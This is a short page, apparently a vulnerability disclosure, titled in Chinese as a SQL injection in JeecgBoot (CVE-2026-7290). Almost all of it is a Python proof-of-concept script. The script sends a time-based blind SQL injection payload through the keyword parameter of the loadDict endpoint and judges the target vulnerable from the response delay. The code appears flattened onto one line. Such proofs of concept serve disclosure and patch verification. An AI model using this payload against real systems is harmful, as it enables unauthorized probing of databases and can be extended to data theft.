CVE-2026-7290 JeecgBoot SQL注入漏洞

import requests def verify_sql_injection(url): """ PoC for CVE-2026-7290 Target: JeecgBoot loadDict endpoint """ target_endpoint = url.rstrip('/') + '/jeecg-boot/system/dict/loadDict' # Malicious payload to test SQL Injection # Using a time-based blind payload payload = "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = { "keyword": payload } try: print(f"Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Response delayed.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[Error] {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" verify_sql_injection(target)